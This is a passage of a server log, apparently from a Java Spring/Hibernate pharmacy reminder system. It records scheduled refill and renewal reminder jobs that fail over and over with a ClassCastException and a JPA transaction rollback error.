com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 07:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 07:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 07:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 07:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 07:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 07:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 07:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 07:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 07:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 07:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 07:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 07:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 07:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 07:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 07:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 07:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 07:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 07:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 07:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 07:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 07:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 07:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 07:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 07:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 07:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 07:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 07:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 07:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 07:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 07:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 07:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 07:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 07:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 07:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at 